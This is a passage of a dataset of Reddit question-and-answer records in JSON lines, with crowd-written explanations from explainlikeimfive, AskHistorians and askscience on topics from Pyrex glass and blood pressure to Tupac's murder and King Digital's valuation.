profit, but you have to pay 15% of that profit (6 cents ) to the govt for providing the lunch room.  So your net profit is 34 cents.\n\n#advanced learning\nYou can now buy 3 more apples the next morning if the pattern continues and use the remaining 4 cents to lobby for a lower capital gains tax."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.reddit.com/r/explainlikeimfive/comments/7smiok/eli5_what_are_people_in_the_stock_exchange/dt5y625/"], [], []]}
{"q_id": "23has5", "title": "in what circumstances does a president sign a bill while congress is in session?", "selftext": "Why does the president take the time to sign into law a bill that will become a law within 10 days? Is it solely just a formality or does it serve an actual purpose?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/23has5/eli5_in_what_circumstances_does_a_president_sign/", "answers": {"a_id": ["cgwzdaq"], "score": [3], "text": ["If in 10 days the president doesn't sign a bill and Congress is still in session then it becomes a law just like you said.  In that case then, the president has three options.  They are different in not just whether the bill becomes a law but also in what they mean. \n\n * The president can obviously veto a law meaning he is strongly saying it shouldn't be a law.  As long as congress doesn't have enough support to over turn it, that's that. \n\n * The president can sign it meaning he really does want it to be a law.  \n\n * The president can not sign it. It still becomes a law but the president doesn't have to show that he like the law.  It's a statement more than anything else.  Maybe he knows that he will be overturned if he vetos it (which would make him look weak), maybe it's for another reason, but whatever the underlying reasons it's a way for him to basically say \"I don't like this enough to put my name on it but I can't/won't stop it.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "p1otf", "title": "abstract expressionism", "selftext": "It's origins, impact, and appeal. This is, genuinely, not a \"I don't understand why anyone would buy a Pollock.\" I just think the appreciation of it is probably in comprehension, of which I have none.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/p1otf/eli5_abstract_expressionism/", "answers": {"a_id": ["c3lsbyq", "c3lte95"], "score": [14, 3], "text": ["Art movements are hard to pin down because they borrow heavily from each other, but I'll try. Abstract expressionism came from that growing school of thought that art should be more spontaneous, so that it could appeal more emotionally. They felt that art that simply tried to copy what things look like was not very good. This was a growing trend that is typical of modern art. So you could say that Abstract Expressionism was a product of a lot of previous movements, especially Surrealism and Cubism. The Second World War was also important.\n\nIt is a special school of art because it was almost a performance. Every viewing was intended to be different. When you look for example at a huge Rothko canvas (he wasn't an Abstract Expressionist, but he's a famous example who was influenced by them), it's about what you feel while looking at the picture, not what it is physically composed of. In essence, it's meant to be more than the sum of its parts. It is meant to be spontaneous, intense and a bit anarchic. Jackson Pollock was a turning point in Abstract Expressionism. He brought forward more than anyone else the idea that the way you made the art is almost as important as the art itself. Above all he showed that it was more about pushing the boundaries. \n\nIf you want to talk about eventual impact, art movements sprang up as reactions to it. Some thought it too wishy-washy, others thought it amazing. The fact that I can't be bothered to list it shows you that its impact was very important in terms of modern art.", "In the 1800s, everyone wanted art to look real and pretty, like [this](_URL_0_). \n\nArtists in the 1900s went, HELL NO. And started to [break the mold](_URL_0_#um=1 & hl=en & client=safari & rls=en & tbm=isch & sa=1 & q=cubism & pbx=1 & oq=bouguereau & aq=f & aqi= & aql= & gs_sm=e & gs_upl=0l0l0l66193l0l0l0l0l0l0l0l0ll0l0 & bav=on.2,or.r_gc.r_pw.r_cp.,cf.osb & fp=89deb9e8c816d9d8 & biw=1397 & bih=843) -- how far can I go with warping the realistic image of life? Pretty dang far so that'll I'll CREATE a new form of line and identity. It represents something real, but the image isn't realistic. \n\nThen, some artists came and said - why are we STILL trying to create work that resembles existing OBJECTS? What about our thoughts and emotions? I can EXPRESS myself on a canvas, without having to conform to a model that already exists in reality. What I create derives from my inner conscious, not what I can visualize in front of me. \n\nHence, Abstract expressionism."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.google.com/search?client=safari&amp;rls=en&amp;q=bouguereau&amp;oe=UTF-8&amp;um=1&amp;ie=UTF-8&amp;hl=en&amp;tbm=isch&amp;source=og&amp;sa=N&amp;tab=wi&amp;ei=FIglT88c4u_SAebwiOAI&amp;biw=1397&amp;bih=843&amp;sei=FYglT8-7HuHp0gGG84CCCQ", "http://www.google.com/search?client=safari&amp;rls=en&amp;q=bouguereau&amp;oe=UTF-8&amp;um=1&amp;ie=UTF-8&amp;hl=en&amp;tbm=isch&amp;source=og&amp;sa=N&amp;tab=wi&amp;ei=FIglT88c4u_SAebwiOAI&amp;biw=1397&amp;bih=843&amp;sei=FYglT8-7HuHp0gGG84CCCQ#um=1&amp;hl=en&amp;client=safari&amp;rls=en&amp;tbm=isch&amp;sa=1&amp;q=cubism&amp;pbx=1&amp;oq=bouguereau&amp;aq=f&amp;aqi=&amp;aql=&amp;gs_sm=e&amp;gs_upl=0l0l0l66193l0l0l0l0l0l0l0l0ll0l0&amp;bav=on.2,or.r_gc.r_pw.r_cp.,cf.osb&amp;fp=89deb9e8c816d9d8&amp;biw=1397&amp;bih=843"]]}
{"q_id": "9xe8wq", "title": "if the volume of blood in our body, as well as the space that blood has to occupy are both (fairly) unchanging, how can our blood pressure change?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xe8wq/eli5_if_the_volume_of_blood_in_our_body_as_well/", "answers": {"a_id": ["e9rk5cd", "e9rk6tb", "e9rk92k", "e9rkkwn"], "score": [5, 4, 3, 2], "text": ["The volume does change as the blood vessels contract and dilate, and change with different stressors which may trigger various hormonal triggers in the body", "It isn't unchanging though, the blood vessels can expand and contract which changes the volume the blood inhabits. Also considering blood, as a fluid composed mostly of water, is difficult to compress it doesn't take much to alter pressure.", "I'm no expert, but physics would tell me that an increased heart rate would increase pressure in the system and our blood vessels have the ability to expand and contract. That is a function of drugs known as vasodilators and vasoconstrictors. ", "Both the amount of blood and the volume of space it occupies can change. Typically for the purposes of measuring blood pressure, major factors are going to be the amount of blood the heart is pumping into your system, and the resistance of that system to the push. For instance, your blood vessels can dilate (expand) and constrict (shrink), which in turn decrease or increase resistance to the 'pulse' of blood pushed by your heart. Your vascular system can also get stiffer from conditions like arteriosclerosis, which can diminish your body's ability to moderate blood pressure.\n\nOther things can also affect blood pressure, such as standing up (increasing the height of the 'column' of blood that has to work against gravity in your body) and, of course, major trauma letting it leak out. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "51l3ck", "title": "Twenty years ago today, Tupac Shakur was shot and fatally wounded. At the time, it was implicated that the Notorious B.I.G. was involved in his death. What evidence do we have now? Was Biggie to blame?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/51l3ck/twenty_years_ago_today_tupac_shakur_was_shot_and/", "answers": {"a_id": ["d7cxefj", "d7cxntq", "d7cxynt"], "score": [91, 1470, 173], "text": ["Similarly, was anything ever proven to any degree regarding Eazy E's death, viz. Suge allegedly injecting him with HIV?", "The romanticism of the East Coast/West Coast feud makes lots of people want to point at Biggie as responsible, but most of the evidence seems to point to the man 2Pac and Suge jumped in the hotel lobby, Orlando \"Baby Lane\" Anderson was responsible. His uncle, Keffe D, said as much in an [interview with police] (_URL_3_). \n\nAccording to [LAbyrinth](_URL_4_), Anderson was allegedly a member of the South Side Crips who had had issues with Suge Knight's Bloods-affiliated record label dating back to an incident at an LA mall in which Death Row associate Travon Lane had his DR medallion stolen in a Footlocker. Speculation claims that Puffy paid for this, as he wanted to use the chain in a Bad Boy video mocking DR, but if there's evidence that it was more than speculation, I've never seen it. \n\nAdditionally, it's fairly well documented that in the weeks following 2Pac's death there was a large scale gang war in LA, seeking retaliation for his death. MC Eiht, a longtime Compton rapper, has [gone on record] (_URL_2_) stating he believes it was 2Pac's gang affiliation (through Suge Knight) that led to his murder. \n\nIf you comb through his Death Row releases, they're full of references to Bloods, down to his repeated use of \"M.O.B.,\" a common Blood saying (Suge is also a known member of the Mob Pirus) and shout-outs to known Pirus ([Neckbone, Tray,Buntry](_URL_5_)).\n\nThat said, LAPD Detective Greg Kading wrote in his book [Murder Rap](_URL_1_) that he believes Puffy commissioned Keffe D for the hit. It is also alleged that Biggie [paid $1 million and provided the gun] (_URL_0_) that took out his rival. \n\nThere is further speculation that 2Pac was planning on leaving Death Row, which led to Suge Knight to order his death, but remember Knight was in the car when 2Pac was shot. \n\nAt the end of the day, no one really knows. Everyone involved is either dead or not talking.    ", "Follow up question, why is there so much controversy and conspiracy theories surrounding this case? Apart from the status of the victim what made it unusual in terms of police investigation etc?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.mtv.com/news/1457346/biggie-paid-gang-to-kill-tupac-report-says/", "https://www.amazon.com/Murder-Rap-Untold-Investigations-Detective/dp/0983955484", "http://www.ballerstatus.com/2016/02/03/mc-eiht-says-tupacs-gang-affiliations-led-to-his-death/", "http://www.laweekly.com/news/the-keffe-d-tapes-10-highlights-of-confession-from-gangster-who-says-sean-combs-hired-him-to-kill-tupac-2395421", "https://play.google.com/store/books/details?id=CQlPvwmA4l8C&amp;source=productsearch&amp;utm_source=HA_Desktop_US&amp;utm_medium=SEM&amp;utm_campaign=PLA&amp;pcampaignid=MKTAD0930BO1&amp;gl=US&amp;gclid=CIHH7bbN_c4CFaRrMgodizYE_g&amp;gclsrc=ds", "http://www.latimes.com/local/la-me-philipssuge15nov1502-story.html"], []]}
{"q_id": "3be9iu", "title": "when dogs throws up, are they concious of the fact that its happening? do they go through the same emptions and pain of throwing up like humans?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3be9iu/eli5_when_dogs_throws_up_are_they_concious_of_the/", "answers": {"a_id": ["cslcgmx", "cslcnfo", "cslcv3b", "cslgnoe"], "score": [22, 5, 48, 33], "text": ["I'd say yes. They know. They often react in similar ways as humans. My dog growing up would go to the door to be let out when he had a sad tummy.  After they vomit they are compelled to eat it. So emotionally yes. Intellectually no.", "Yes, they know. They are sentient and feel pain. They don't understand like we do that throwing up is a biological response to an irritant in the stomach bug they know their tummy hurts and they're barfing. ", "First 5 seconds \"OMG what is this coming out of me, it's horrible.\"\nLast 5 seconds\"OMG it smells so good I'm going to eat it.\"\n\nI have mixed feelings about how dogs feel about throwing up.", "Vet here. Dogs certainly experience discomfort in association with nausea, which they often express by whining, drooling, pacing, licking their abdomen, and avoiding food (although other times they are outwardly asymptomatic until the moment of vomiting, which is unsurprising because animals in general are less outwardly-expressive when in discomfort than humans are). When they recognize they are going to vomit, they generally rise to a standing position and lower their head to make it easier. They have many of the same chemoreceptors associated with nausea and pain that humans do and they experience similar elevated heart rate and abdominal contractions during the act of vomiting itself, so all of that would support them experiencing discomfort during the process. The actual level of pain they experience is, like humans, largely dependent on the underlying cause of the vomiting; for example, a dog that vomits once due to eating a beetle likely has a much better time of it than a dog that vomits repeatedly for several days due to severe gastroenteritis or an intestinal obstruction, because much of the pain in those cases is secondary to the repeated severe irritation of the GI tract. For this reason, it is important that we as vets always stop to consider anti-nausea and anti-inflammatory medication for a dog experiencing gastrointestinal distress, even though they don't say \"my tummy hurts\" like a human would."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1rn7aa", "title": "My Pyrex baking dish exhorts the user to both \"Avoid sudden temperature changes\" and \"Always preheat oven.\" That seems like a contradiction. What property of the glass accounts for this?", "selftext": "Taking a dish from a refrigerator (roughly 38F) and placing it directly into a preheated oven at 400F seems like a worse \"shock\" than placing it into a room temperature oven and slowly bringing it up to temp. Yet, the instructions clearly indicate otherwise. What gives? \n\nHappy Thanksgiving, to those celebrating. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1rn7aa/my_pyrex_baking_dish_exhorts_the_user_to_both/", "answers": {"a_id": ["cdp426u", "cdp7hco", "cdpfxjh", "cdpitsv"], "score": [25, 7, 3, 2], "text": ["They probably mean dont do things like take it from the oven and put it in the sink with water.  The dish will heat up slowly in the oven because air is a poor conductor of heat...but if you take it from the oven and run water over it, water is a much better conductor so the dish will cool rapidly and could crack.", "Pyrex today is made of tempered glass. Pyrex used to be a low thermal expansion borosilicate glass, according to Wikipedia. Now glass subjected to a fast change in temperature breaks because glass is a thermal insulator. If you cool a surface of the glass quickly, you induce a large variation of temperature along the inside of the glass, which for a dish can be pretty large. The cool side will shrink, but the hot side won't. This will cause stress inside the glass dish, which can be enough to break the glass. Since original Pyrex had a low thermal expansion, it would induce lower stresses and not break. Tempered glass is a resistant glass that is already stressed in a way to make it more resistant. It also breaks into very small pieces when shattered. However it still expands or contracts enough to break when subjected to sudden large temperature changes.", "In general amorphous materials such as glass don't deal well with rapid temperature changes. They are insulators, so they don't transfer heat very well. If the surface is suddenly cooled by water, the outer surface will want to contract and the inner surface will want to stay the same. The lack of a crystalline structure (Think of it like a solid trapped as a liquid), makes it very hard to resist shear stress. A contraction of the top surface due to a temperature difference will create a shear stress and this can cause it to crack.", "As was mentioned before, Pyrex is currently made of tempered glass. Tempered glass is manufactured in high temperatures, in which the glass suffers compression forces on its surface and traction forces in its interior. It is then cooled very quickly, so as to mantain those forces and also keep its glass transition temperature (the temperature above which a glass starts behaving a lot like a liquid) very high. The result of these forces is that superficial fissures on tempered glass rarely ever spread and cause it to break, making it incredibly resistant. Before the change to tempered glass, Pyrex was made of borossilicate glass. The reason for the resistance of that material is that the boric oxyde that is added occupies empty spaces in the glass and helps keep the silicate, aluminum oxyde and sodium oxyde tight together. It is also created at very high temperatures, again to keep its glass transition temperature high."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1owk2k", "title": "what is happening with \"day one: garry's incident\" in /r/gaming", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1owk2k/eli5_what_is_happening_with_day_one_garrys/", "answers": {"a_id": ["ccwbzfe", "ccwc0jm", "ccwc8e1"], "score": [3, 3, 4], "text": ["[This Video](_URL_0_) sums it up nicely, and is the #3 post on /r/games today. ~~Not sure how you missed that.~~ yay work censors!\n\nIn short, developer provides game code to TotalBiscuit, who plays the game, criticizes it, and publishes video. Game developer files copyright takedown with youtube, claims its because the game was monetized with advertising, and says they are in the green. TB disagrees, notes that *all* his videos are monetized, *all* videos done on the game by other reviewers are monetized, and there are other critical videos that are monetized that were not taken down - so its clearly bullshit censorship.\n\nThat's the skinny of it.", "Ok, ELI5 version: The Devs fabricated positive reviews and censored a popular review which demonstrated how damn bad the game is. Their excuses are precluded by the fact that not only did they give him a free copy knowing he would review it, but they publically approved of people posting youtube videos of the game. They have since retracted the complaint, apparently.\n\n_URL_0_\n\nThats one of many things. Watch TBs video about it for more.\n\nThey also abused Youtubes copywrite system.", "1.) Company creates game.\n\n2.) **TotalBiscuit** reviews games on YouTube, makes his living from the advertising shown on those videos.\n\n3.) Company sends TotalBiscuit a Steam key for their game.\n\n4.) TotalBiscuit makes video review of game on YouTube. Doesn't think it's a particularly good game, says so.\n\n5.) Company uses YouTube's copyright violation system to have the video forcefully removed. An action that damages TotalBiscuit's reputation with YouTube, it's a 3-strikes and you're out policy. So fake claims directly risk his livelihood.\n\n6.) Company claims TotalBiscuit had no right to make a video about their game, no right to make money from it. *Even though they gave him a key knowing full well what he does for a living*.\n\n7.) Company *does not* take down other video reviews of their game found on YouTube.\n\n8.) Some minor investigation shows what other shitty things company has been up to. Such as creating a kickstarter campaign for the game that their own CEO donated $10k to, writing fake reviews on metacritic and bribing users to vote for their game on Steam's Greenlight platform. Additionally in their email *to* TotalBiscuit that contained the key they even asked he place a link to their website. So if he wasn't supposed to make a video, where did they expect that link to go exactly?\n\n------\n\nSeems like they didn't like the negative review TotalBiscuit gave their game so they abused the copyright system to silence him, somehow managing to forget what the internet is *really* good at.. spreading information you don't want spread."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=QfgoDDh4kE0"], ["http://imgur.com/a/ddd1Z"], []]}
{"q_id": "3j41if", "title": "What are the oldest, ever, issued bonds that theoretically could still be paid out today?", "selftext": "bonus question: how much would they be worth? And is there market value higher then there theoretical museum value?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3j41if/what_are_the_oldest_ever_issued_bonds_that/", "answers": {"a_id": ["cum93oy"], "score": [58], "text": ["_URL_0_\n\nThis thread has some information about bonds.  That is all the help I can be though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/39kpre/what_are_the_oldest_debts_still_being_payed_today/"]]}
{"q_id": "6fvomj", "title": "What is the difference between Guyenne, Gascony and Aquitaine?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6fvomj/what_is_the_difference_between_guyenne_gascony/", "answers": {"a_id": ["dilwtvb"], "score": [2], "text": ["There's a pretty complex answer to the question, but I'll try to give some precisions.\n\nAll are names of regions, but they changed so much with time that it's a pretty hard thing to be succinct when talking about them.\n\nSimply put, *Aquitania* is the land of the Aquitains people, the most common of them being the Auscii, in Antiquity.\n\nThe name Guyenne is a deformation of the previous name, which became Guiana in Occitan, or Guyenne in French. \n\nLastly, Gasconha, Gascogne or Gascony is a name that comes from the *Gens vasconum*, which is associated with Basque culture. The W sound attached to the letter V here, in French Occitan and other Latin languages, changes to a hard G : William/Guillaume, for example.  And so, in time, we have Gasconha, the land of the Gascons.\n\nPolitically, only Guyenne completely fell out of favor. And I'll skip it for today.\n\nAquitaine was the name of a Kingdom and the renowned and powerful Duchy, and is still the name of a French region, though it has recently - but only a little - changed.\n\nGascony was also a name of a Duchy, but its reputation is due to many things.\n\nIt regained a lot of popularity lately.\n\nIn part caused by some of the heroes of France, like La Hire, or the Mar\u00e9chal Lannes. \n\nAlso, in literature, the name, for many authors, also was a romantic symbol for the stereotypical Southern Frenchman, as exemplified by the use of D'Artagnan and Cyrano de Bergerac, both of whom existed, but weren't as you'd suspect, the same as the literary heroes. For example, the real Cyrano wasn't even a Gascon.\n\nFinally, Gasconha is still relevant as it is the place where Gascon is spoken. Gascon, a brother or a cousin of Occitan, depending on the expert, is still a fascinating language, spoken in France and in the Val d'Aran.\n\nAll in all, it boils down to terms that had their definitions change with time, as the region they were supposed to represent changed as well. Those were the facts. \n\nOn a more personal note - none of what follows is objective -, however, I would propose that the relative popularity of Gascogne has to do with its role and connections to the English-speaking world. And more precisely, with English tourism.\n\nThe Three Musketeers are still very popular in said world. And Gascogne, or more precisely the South West, has ties with England since it gave them some of their more known rulers, i.e. Richard Lionheart (even though he spoke mainly Limousin, not Gascon), and his mother, Ali\u00e9nor. Lastly, Gascony was an ally of the English during the Hundred Years War.\n\nThis created the perfect recipe for Anglo-Saxon to hear about the region, even though the name, Gascony, wasn't much in use anymore within the French community. Thus one may think that the English made it popular since they are the most avid visitors of the region, and are the main offender when asking about it by its name. The most evident example of this is maybe the fact that the Landes region changes its name to Landes of Gascony, even though - while it certainly has a culture derived from Gascon culture - the name never really was attached to it before, which speaks volume about the attractive value and connotation of the word Gascony, mostly for tourists.\n\n\nSorry for the wall of text.\nHope that helps you ! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2104vp", "title": "What is the visible waviness or \"lines\" while mixing solutions called?", "selftext": "This may be a silly question, but I can't find an answer for the life of me.   \nWhen mixing two different solutions, for example a high salt to low salt or perhaps glycerol to water, the solutions will visibly mix producing a wavy appearance in the liquid. Is there a name for this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2104vp/what_is_the_visible_waviness_or_lines_while/", "answers": {"a_id": ["cg8eyy3", "cg8k85j", "cg949oh", "cg957cp"], "score": [7, 2, 2, 3], "text": ["We usually call them mixing lines.  I've also heard them called concentration lines before.", "All the fluids you mention are things the human eye detects as clear and colorless. So what you're seeing is light bent by differences in the indices of refraction of the fluids. This should be recategorized under physics or possibly computer graphics (those folks think a lot about ray-tracing through mixed media).", "This is a classical problem in fluid dynamics. Two contacting liquids form *phases* or *domains* before or instead of mixing/ equilibrating. What's separating them is usually called [*phase boundary*](_URL_0_) by physicists.", "The term I've typically heard in relation to this has been [schlieren](_URL_0_), especially in relation to applications in bioanalytical methods (e.g., ultracentrifugation  &  size exclusion chromatography with some sort of optical readout).  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Phase_boundary"], ["http://en.wikipedia.org/wiki/Schlieren"]]}
{"q_id": "1vbo34", "title": "With inflation and whatnot, what is/was the single most expensive military machine?", "selftext": "Seeing some things like gigantic mobile artillery guns that the germans used, or the multi-million dollar fighter planes that we are making now, got me wondering what the single biggest endeavor was. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1vbo34/with_inflation_and_whatnot_what_iswas_the_single/", "answers": {"a_id": ["ceqpnuc"], "score": [23], "text": ["I can't claim to know that my submission is the single most expensive military machine.  Likely it would be dwarfed by the Manhattan Project, and maybe beaten by a few more projects as well.  But *per unit*, I think my choice will at least have a place on the list.\n\nNow, in recent years, a billion dollar project isn't that rare.  Even a billion dollars for a single plane is not unheard of.  But the Valkyrie bomber project cost 1.5 billion dollars--*in 1950's and 60's money*--and delivered two aircraft.  Two.  And then one got ran into by a friendly aircraft during a photo opportunity, and it was \"the good one.\"  \n\nI first ran into the Valkyrie as a child.  The museum now known as the [National Museum of the U.S. Air Force](_URL_2_) is located in Dayton, Ohio.  This put it on the route between my home and a set of relatives, and my dad indulged my budding love of history by stopping off.  I was amazed by the biplanes, and entranced by the WWII warbirds.  The jet fighters were pretty neat, too.  But then we ended up in the big hangar.  I went from plane to plane, making my way around the displays.  I eventually ran out of hangar to explore, and was next to a wall.  I looked up.  [I was staring into six of the biggest engines i had ever seen](_URL_0_).  I scampered around to find more information.  \n\nAs it turns out, [I was looking at the only surviving example of a heck of a plane](_URL_2_/factsheets/factsheet.asp?id=592).  It was designed to fly at Mach 3 at over 70,000 feet to strike targets in the Soviet Union.  The fact that it could achieve those feats starting in 1964 was astonishing.  But, those same figures were its downfall.  Designed as a high-altitude penetrator, it was supposed to fly higher than anything that could bring it down.  However, developments in anti-aircraft missiles meant that the Valkyrie was quite within range from the ground.  And when you tried to go in low--like the B-52 was able to do--the tradeoffs necessary to achieve those lofty figures quoted above were just too drastic.  The Valkyrie was barely faster than a B-52 on the deck, and its fuel economy left a good deal to be desired.  Also, the bomb bay was limited in relation to the Stratofortress.  The Valkyrie was an engineering marvel, but it was made obsolete before it was even built by the engineering marvel of the anti-aircraft missile.\n\nThere was just enough momentum in the program to get two examples built.  The first one had some problems in its construction, as there were some new processes being used.  The second example righted many of these problems.  Then there was a request for a photoshoot.  Sadly, one of the pilots flying an F-104 fighter in formation with the larger bomber got too close, and the wings of the two planes made contact.  The F-104 pilot and one of the two pilots of the Valkyrie were killed.  That happened in 1966, and the plane was retired in 1969.  That is when it was flown to Dayton, there to wait until it astonished a young kid with six huge engines.\n\nNow, again, I can't promise that 750 million dollars per unit in 1950's and 1960's dollars is the most expensive military machine.  In fact, it probably doesn't.  But I can say I have kicked the tires (gently, and only as a kid, I got a bit smarter and more respectful as I aged) on a one of a kind masterpiece of engineering that cost a mint.\n\n--------------------------\n\n[If you have an hour, and don't mind cheesy military videos, this link should give you a ton of info](_URL_1_)\n\nAlso, the Valkyrie is no longer readily available to be viewed at the museum.  It is still free, but you have to sign up to take a bus trip to the R & D hangar.  The museum is well worth the trip, and the side trip to the R & D hangar and the presidential aircraft hangar are worth the time as well.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.aviationexplorer.com/Commercial_Airliners-Military_Aircraft_Pictures/XB-70A-Valkyrie-USAF.jpg", "http://www.youtube.com/watch?v=Rd0mSLv7zoA", "http://www.nationalmuseum.af.mil", "http://www.nationalmuseum.af.mil/factsheets/factsheet.asp?id=592"]]}
{"q_id": "rcn6n", "title": "Why/How does drinking a lot of water help with oily skin?", "selftext": "It seems that drinking a lot of water everyday and generally keeping yourself well hydrated causes oily skin to clear up and in general leads to skin appearing much healthier and softer. What is the exact physiological mechanism behind this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rcn6n/whyhow_does_drinking_a_lot_of_water_help_with/", "answers": {"a_id": ["c44s7sg", "c44tl1v"], "score": [8, 7], "text": ["I haven't seen any evidence that it does. Of course being dehydrated can show in your skin, but drinking a ton of water just means you'll spend more time in the bathroom. ", "I just did a brief search for peer-reviewed articles or studies involving water intake and acne on \"Web of Science\" (through my university).  I couldn't find any and I can't cite anything in support of the supposition that keeping one's self well hydrated causes oily skin to clear up.\n\nWater, however tends to dilute most secretions/excretions of the body and to help in the uniform delivery, distribution and absorption of them and this may be part of what you're noticing.  If your body and skin is better hydrated, it's likely that your skin's secreted oil is more dilute and that your skin itself is more \"moist\" or hydrated, allowing for better absorption in the outer layers.  Also, you may be noticing the difference between adequately hydrated skin and poorly hydrated skin in noting that it appears healthier (more pink? --indicating greater blood flow due to adequate hydration,  more elastic?) and softer.  There's a quick [skin turgor test](_URL_0_) in health care where the health care provider pinches a patient's skin to test for dehydration.  Poorly hydrated skin can seem \"older\" (as the older a person gets in general, the less flexible their skin becomes).\n\n[There are numerous mechanisms involved in creating the appearances that you described, including keratinization, production and deployment of sphingolipids (that are responsible for maintaining the water barrier function of the skin) as well as the ones that I described above.](_URL_1_) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.nlm.nih.gov/medlineplus/ency/article/003281.htm", "http://www.ncbi.nlm.nih.gov/pubmed/7763094"]]}
{"q_id": "3rds6d", "title": "how can a corporation like activision-blizzard think king digital (maker of candy crush) is worth 5.9 billion dollars?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3rds6d/eli5_how_can_a_corporation_like/", "answers": {"a_id": ["cwn59yw", "cwn5a60", "cwn5apr", "cwn5cb3", "cwn5k7k", "cwn5urp", "cwn67xb", "cwn80l8", "cwn94ly", "cwna94g", "cwndigf", "cwnhxnu", "cwnj68c", "cwnkpz3", "cwnlbym", "cwnohuq", "cwrqi03"], "score": [81, 443, 6, 74, 5, 21, 2, 7, 4, 2, 15, 2, 4, 2, 3, 2, 2], "text": ["King has an operating income of $600 million.  Not that strange why someone would pay $6 billion for a company that is profiting $600 million a year.  Mojang (Minecraft) had an operating income of $100 million.", "King Digital has about 315 million (common) shares outstanding, and earned a little north of $1.75 per share these past 12 months that puts a very rough estimate of their annual earnings at $550 million.\n\nWhen one company buys another, the price can usually be ballparked as some multiple of the company's proven earnings. This multiple reflects the fact that they're not just buying the company's assets as things stand now, but also its value as a going concern (its earnings going forward, which will presumably continue to grow). A multiplier of 10-11 isn't terribly uncommon for businesses in this sector.\n\nPlus, setting aside the on-paper value, a blue-chip veteran of the gaming industry like Blizzard/Activision no doubt sees additional opportunities for synergy buying up a huge chunk of the mobile gaming market for itself.", "King Digital has a revenue stream that generated 2.2 Billion Dollars in revenue last year. That's generated 80% from the mobile gaming market. They have a 450MM/Month User base for their games. They have a huge mobile platform already in place and do it well and gives Activision access to something that they don't have well. It's a synergy play that helps boost Activision's Bottom Line. \n\nThe valuation comes from how much money and revenue King Digital makes as well as the forecasted cost savings, potential benefits and synergies, forecasted revenue streams, and the strength of the mobile games platform developed by King Digital. ", "Its a gateway to a large number of consumers, in an area that Activision-Blizzard doesn't have a particularly strong presence. They're not just paying for Candy Crush but also everything that King Digital has learned about its customer base - which could help them develop a more meaningful presence in the mobile games space, which is big, fast growing and has a very different demographic than what Activision-Blizzard has experience with.\n\nBasically, Activision-Blizzard decided that spending about $6Billion was faster and/or more cost effective than spending the time to develop the resources and gather the information themselves.", "As others have pointed out, valuations of companies like these are usually an estimation of the profit they will earn over the next 10 years or so.  I always feel the same way when I hear about valuations like this though, because Candy Crush will not be generating $600M a year in a couple years, and there is no guarantee that King will come up with the next wildly popular mobile game.  However, the people entrusted with making $6B deals are smarter than me so it's probably worth it :)", "Why not?\n\nEnterprise Value (which is the minimum the acquirer has to pay)= Market Cap + Debt - Cash. \n\nKing Digital is a listed company. The market cap is $5.6Bn. They have zero debt. They had $960mn in cash and cash equivalents in year ending 2014. Plugging these numbers in the above formula: 5.6 + 0 - .96 = $4.64Bn. \n\nGiven that King Digital had $2.3bn in sales in 2014, and a profit margin of  25%, and a 60% RoE I think it is a steal.\n\n", "CandyCrash is a cash cow that just keeps minting money for King.\n\nThe Price/earning ratio of Kings was actually surprisingly low for a tech/video game company, at around 7, even at the acquisition price premium it is only around 8.5. \n\nNow the more interesting question is, why was the stock market valuing King so low? Likely because people figured CandyCrash was a one hit wonder and there is little momentum for further rapid growth. Also they were cautious about social games after getting burned by Zynga which attained very high valuation after their IPO only to crash down.", "Candy Crush generated $600,000,000 of revenue last year.  That's six hundred million dollars.  And that's a game that has already peaked.  A significant difference between King and Mojang is microtransactions, which generates a consistent,and massive, revenue stream.  \n  \nIt does not matter if you think Candy Crush is a stupid game, or is not true game because it is a mobile app.  The revenue is there and the market is only growing.", "They think it's worth spending 5.9 Billion because they expect to make more than 5.9 Billion in the long run. \n\nWhen they buy King Digital they're getting all expected future money from King's existing games, plus they get the team that *makes* games which can create such profits. Activision-Blizzard don't have a ton of experience in that area, but do have some very strong IP that they probably want to expand into a mobile market.\n\nMobile gaming is a market which has a hell of a lot of potential, and suffers from a bad shovelware ratio. Blizzard in particular is known for their games which maximize the potential of a genre - they weren't the first MMO, or RTS, or MOBA game out there, but they arguably have the best products in two of those three fields. \n\n", "Maybe they are just doing the rest of us a solid. Buy them up, fix the predatory programming, end the attempts to copyright common words like \"Saga\", and stop copying other games then suing them.\n\nI can hope.\n\nSomeone put together a \"Good Guy Blizzard\" or something.\n\n", "This is very 